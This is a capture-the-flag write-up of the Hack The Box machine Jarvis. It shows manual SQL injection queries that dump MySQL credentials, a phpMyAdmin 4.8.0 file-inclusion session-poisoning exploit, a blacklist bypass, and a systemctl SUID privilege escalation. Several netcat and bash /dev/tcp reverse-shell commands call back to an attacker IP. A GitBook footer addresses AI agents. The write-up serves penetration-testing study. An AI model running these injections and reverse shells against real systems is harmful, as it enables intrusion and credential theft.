> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-jarvis.md).

# HTB - Jarvis

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfPehQN3fTI4wTGDMOncO%2Fimage.png?alt=media&amp;token=4310e9bd-5252-4227-9ed0-17bf132c0486" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs2ojBUoR8HVS1zJf1dDU%2Fimage.png?alt=media&amp;token=8bf80cd2-80d3-4f67-abbf-357b86ce40b5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FR6YuuohPFxjyFb8haJW3%2Fimage.png?alt=media&amp;token=fcc381a2-6ad1-4e91-873a-556706c4904c" alt=""><figcaption></figcaption></figure>

add the domain to hosts

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVMl5Gh9py0C2j5rCYtqH%2Fimage.png?alt=media&amp;token=71138acf-95a1-407a-93d0-4a2be04e3079" alt=""><figcaption></figcaption></figure>

phpmyadmin version 4.8.0

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCofM0b4m8kA1qVaoJu9C%2Fimage.png?alt=media&amp;token=df8a19a4-5275-4b07-9181-e969566ff124" alt=""><figcaption></figcaption></figure>

clicking on book hotel generate the above request

not vulnerable to command injection.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FhKY3z0bLIq7ZwEgfWGxq%2Fimage.png?alt=media&amp;token=5ca8ddf0-ede3-4c86-b7ce-f26cf472d32f" alt=""><figcaption></figcaption></figure>

sqlmap confirms the cod parameter is vulnerable to sql injection.

i can also confirm manually by sending seven columns i get the result

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRr7uTkT8Zpo1xZEWOfXQ%2Fimage.png?alt=media&amp;token=55db6a17-6eb8-4d8b-9778-ff108b353725" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHBc9d1aIXUMVx5QSURMW%2Fimage.png?alt=media&amp;token=041aa625-a857-4f5d-a40c-eb3a2f66f8b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5EJdcLgNKawIQcpPqID0%2Fimage.png?alt=media&amp;token=2226d618-71c1-4f3f-9a92-2a62ef9aa18a" alt=""><figcaption></figcaption></figure>

column 5 is the picture, 3- is the price 4- description, 2 - title.

i can dump the data through SQLMap but i am preferring manual way as it helps for OSCP.

### Manual SQL injection

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1x4CI98sKwdggKA0y6nW%2Fimage.png?alt=media&amp;token=9684321e-cf7a-4caf-bfb9-1a1dd9725300" alt=""><figcaption></figcaption></figure>

Current Database : hotel

Current User: DBAdmin

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCLLev6xQePgfxHjPZAkn%2Fimage.png?alt=media&amp;token=5f13751f-9bf2-4a3d-947f-81a84028a40e" alt=""><figcaption></figcaption></figure>

there is only one  table called room.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBUciUijYSMb4Ib0BcCnK%2Fimage.png?alt=media&amp;token=7cb9ba49-6ba9-44db-8e2b-0d9ddd1aaa87" alt=""><figcaption></figcaption></figure>

nothing interesting in the hotel database to check.

that said i will enumerate other databases.

```bash
GET /room.php?cod=10+UNION+SELECT+1,database(),group_concat(schema_name),current_user(),5,6,7+FROM+information_schema.schemata%3b--+-
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4OunM7CytUw5YjFXWBFG%2Fimage.png?alt=media&amp;token=5b6c8cb1-f75e-4623-98ef-4b79ee4addee" alt=""><figcaption></figcaption></figure>

there is mysql.

**Tables in MYSQL**

```bash
SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
```

```bash
column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLdgdNNhtILBAjX1Ux6Rh%2Fimage.png?alt=media&amp;token=697c7700-72ad-4725-b8fc-ccecca4c4d52" alt=""><figcaption></figcaption></figure>

**Columns in table user in database Mysql**

```bash
SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDQi488yWqJmmum4QwGZj%2Fimage.png?alt=media&amp;token=d8d11eff-c93b-48bb-8faa-aebd0d9c97ba" alt=""><figcaption></figcaption></figure>

Getting data from users table

```bash
SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkSEHLVHKlAwJSfMRH22w%2Fimage.png?alt=media&amp;token=2eb9b1b1-72ea-446a-a0f5-adfedfd96321" alt=""><figcaption></figcaption></figure>

```bash
DBadmin : 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
```

{% embed url="<https://md5decrypt.net/en/Sha1/>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6Z40eMtMQFNPLRs7KaqJ%2Fimage.png?alt=media&amp;token=abc65882-91e0-4f5c-9291-83859ddb5cf9" alt=""><figcaption></figcaption></figure>

i can use the credentials for login through phpmyadmin login page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FARsYWzqiedYN3vRTIJQM%2Fimage.png?alt=media&amp;token=b9d8cbab-66bd-435c-9c3f-94907f82e61b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPijKg14ZZuhYFKEkRmWa%2Fimage.png?alt=media&amp;token=855bebff-15c2-4311-af79-98ec97dd337e" alt=""><figcaption></figcaption></figure>

phpmyadmin version is 4.8.0.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVVrjAR0DkhUnb3jyZX5z%2Fimage.png?alt=media&amp;token=820d5077-cb3d-49b8-8f3f-a7c08fdfc97d" alt=""><figcaption></figcaption></figure>

phpmyadmin 4.8.0 suffers from Remote File Inclusion Vulnerability

### File Inclusion in phpMyAdmin

{% embed url="<https://ssd-disclosure.com/ssd-advisory-phpmyadmin-file-inclusion-and-remote-code-execution/>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FyMj2FCx3dUZnxhaYB1Ic%2Fimage.png?alt=media&amp;token=e48aae42-7ace-413f-8151-5cc476548118" alt=""><figcaption></figcaption></figure>

That said i can try to get RCE by doing session poisoning.

grab your `phpMyAdminSessionID` (not `PHPSESSID`  phpMyAdmin uses its own cookie name) or `PHPSESSID` cookie value from the browser/Burp.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTjXLLhEoi7V87HGeEHyX%2Fimage.png?alt=media&amp;token=1f86124d-d45f-46a7-ac8b-61e58d2bdbdb" alt=""><figcaption></figcaption></figure>

phpMyAdmin logs your recent SQL activity into the PHP session file. Run a query containing a PHP payload as a **comment** so it's syntactically valid SQL but still gets logged with your PHP tags intact:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfUXJ4o5MeGfd2pUv2HXI%2Fimage.png?alt=media&amp;token=ac96850c-551c-4fbc-8e74-42fd9dd631b6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F42NucwMQ9pDLT6Wo2yIM%2Fimage.png?alt=media&amp;token=b8abd932-7597-4939-886e-f477580159b1" alt=""><figcaption></figcaption></figure>

confirmed that said i will get a rce

## Shell as www-data

```
http://10.129.70.102/phpmyadmin/index.php?cmd=nc%20-e%20/bin/sh%2010.10.14.49%204444&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_12j34b00n3b1ag7ejpi87hvpip2pqota
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQ7HA7rdHgMk7Y8drKqdN%2Fimage.png?alt=media&amp;token=0bc15ee6-82b0-4da9-a113-b9385a60b155" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtghsYm9TW5x1rbLoxswO%2Fimage.png?alt=media&amp;token=3efa30cd-965a-4901-aa62-bd28ec3cc743" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlZyMzNP6PNlWLvPNClFr%2Fimage.png?alt=media&amp;token=40749be6-fbaa-4592-b5e0-64fbae6bed5e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmTSpCvqVbunzDySEETrr%2Fimage.png?alt=media&amp;token=03036d76-dddf-4340-a6ea-9adc1295b706" alt=""><figcaption></figcaption></figure>

filters the ping command for code i need to escape it.

The `exec_ping()` function's blacklist blocks `&`, `;`, `-`, `` ` ``, `||`, `|` — but **`$()` (command substitution) is NOT blocked**.

```bash
echo 'bash -i >& /dev/tcp/10.10.14.49/5555 0>&1' > /tmp/rev.sh
chmod +x /tmp/rev.sh
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3o4v6LXy6V1hN512qEzb%2Fimage.png?alt=media&amp;token=54c1527a-16c4-42f1-a96c-307b68640520" alt=""><figcaption></figcaption></figure>

## Shell as Pepper

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FzsXCyMPDfxzabXJxdISo%2Fimage.png?alt=media&amp;token=abaab5bc-cd0f-4327-92e2-68edb2637e2f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fz1PgxQ78MLX6xR0v8AW2%2Fimage.png?alt=media&amp;token=c3d1d18e-e302-4a9c-96e9-d65f6cf27d29" alt=""><figcaption></figcaption></figure>

looking for suid binaries revealed a uncommon one systemctl

### Systemctl suid abuse

```bash
cat > privesc.service << EOF
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.49 7777'
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target
EOF
```

```bash
pepper@jarvis:~$ /bin/systemctl link /home/pepper/privesc.service
/bin/systemctl link /home/pepper/privesc.service
Created symlink /etc/systemd/system/privesc.service -> /home/pepper/privesc.service.

```

```bash
/bin/systemctl start privesc
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrtVLb5uZqWHzyD2Mctfr%2Fimage.png?alt=media&amp;token=bfe0160c-7563-43b2-8a2b-cbb9c2ca0e34" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-jarvis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
